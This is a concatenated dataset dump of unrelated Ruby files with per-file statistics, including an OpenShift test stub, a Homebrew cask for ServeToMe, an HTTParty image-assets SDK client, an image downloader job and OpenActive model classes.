File.stubs(:open).never
FileUtils.stubs(:compare_file).with(@apachedb_files["nodes"] + '-', @apachedb_files["nodes"]).returns(false).once
FileUtils.stubs(:rm).never
FileUtils.stubs(:mv).once
OpenShift::Runtime::ApacheDBNodes.any_instance.stubs(:callout).once
OpenShift::Runtime::ApacheDBNodes.open(OpenShift::Runtime::ApacheDBNodes::NEWDB) do |d|
d.store("www.example.com", "127.0.0.1:8080")
end
end
end
| 35.564961 | 126 | 0.673825 |
b96a3c11854ce8d56ce049ce6cba50aeec1503d8 | 475 | cask :v1 => 'servetome' do
version '3.9.0.3053'
sha256 '87bf1184b7656a96088b25880e7e1c772f30d8dfa1e602f9b43ccbdd0608fdf2'
url "http://downloads.zqueue.com/ServeToMe-v#{version}.dmg"
appcast 'http://zqueue.com/servetome/stm3_mac_appcast.xml',
:sha256 => '48cc93d336da8f71ab2a804d609e54d2e81ce4cd17f626e57aa4b7a76624ea69'
homepage 'http://zqueue.com/servetome/'
license :unknown # todo: improve this machine-generated value
app 'ServeToMe.app'
end
| 36.538462 | 87 | 0.762105 |
7ac2f121b31a78f19130f8106b082f78d52f6d1f | 203 | require "document_metadata_decorator"
class EsiFund < DocumentMetadataDecorator
set_extra_field_names [
:fund_state,
:fund_type,
:location,
:funding_source,
:closing_date,
]
end
| 16.916667 | 41 | 0.729064 |
ab8c5c59d86807bf08bac4f4f23ac9b97e5ce58a | 1,317 | require "httparty"
module ZeusSdk::V1
class Assets
SUBDOMAIN = "assets"
LOCAL_PORT = 3004
include HTTParty
include ServiceBase
def list_images(query)
resp = self.class.get("/api/v1/images", query: query, headers: self.get_headers).parsed_response
return resp
end
def create_image(image)
body = {image: image}
resp = self.class.post("/api/v1/images", body: body.to_json, headers: self.get_headers).parsed_response
return resp
end
def get_image(id)
resp = self.class.get("/api/v1/images/#{id}", headers: self.get_headers).parsed_response
return resp
end
def get_image_variants(id)
resp = self.class.get("/api/v1/images/#{id}/variants", headers: self.get_headers).parsed_response
return resp
end
def update_image(id, image)
body = {image: image}
resp = self.class.put("/api/v1/images/#{id}", body: body.to_json, headers: self.get_headers).parsed_response
return resp
end
def destroy_image(id)
resp = self.class.delete("/api/v1/images/#{id}", headers: self.get_headers).parsed_response
return resp
end
end
end | 30.627907 | 120 | 0.588459 |
87b9ac29808e9d29b5ef64c8a11a857b3f618768 | 198 | module Core
class AccessField < ActiveRecord::Base
belongs_to :access
belongs_to :quota_kind
def to_s
"#{quota_kind.name}: #{quota} #{quota_kind.measurement}"
end
end
end
| 18 | 62 | 0.676768 |
5d0e2b03f5e960174a71132560147ca28a8e59dc | 1,369 | # frozen_string_literal: true
require 'dry-monads'
require 'net/http'
require_relative 'metadata_validator'
module ImageDownloader
class DownloadJob
attr_accessor :url, :destination_path
include Dry::Monads[:result]
def initialize(url, destination_path)
@url = URI.parse(url)
@destination_path = destination_path
end
def name
"url: #{@url}"
end
def perform
metadata = get_metadata
case ImageDownloader::MetadataValidator.new(metadata['content-type'], metadata['content-length']).call
when Success
request = Net::HTTP::Get.new(@url.path)
Net::HTTP.start(url.host) { |http|
download_by_segment(http, request)
}
when Failure
p 'invalid metadata for ' + url
end
end
private
def get_metadata
begin
http = Net::HTTP.new @url.host
p http.inspect
res = http.head @url.path
rescue Net::OpenTimeout => e
p "timeout for #{e}"
nil
end
end
def download_by_segment(http, request)
file = open("#{@destination_path}/#{@url.path}", 'wb')
begin
http.request_get(request.path) do |response|
response.read_body do |segment|
file.write(segment)
end
end
ensure
file.close()
end
end
end
end | 21.730159 | 108 | 0.600438 |
6ab436b540c3ccfdb881454a3de72c10e3050eb9 | 54 | require 'spree_core'
require 'spree_pre_order/engine'
| 18 | 32 | 0.833333 |
d5e3be2c3b44d2dfd052e219af7eb3179f3bd4ee | 861 | module OpenActive
module Models
# This type is derived from http://www.w3.org/2004/02/skos/core#ConceptScheme.
class ConceptScheme < ::OpenActive::JsonLdModel
# @!attribute type
# @return [String]
def type
"ConceptScheme"
end
# @return [String]
define_property :title, as: "title", types: [
"string",
]
# @return [String]
define_property :description, as: "description", types: [
"string",
]
# @return [Array<OpenActive::Models::Concept>]
define_property :concept, as: "concept", types: [
"OpenActive::Models::Concept[]",
]
# @return [URI]
define_property :license, as: "license", types: [
"URI",
]
# @return [URI]
define_property :url, as: "url", types: [
"URI",
]
end
end
end
| 22.657895 | 82 | 0.554007 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.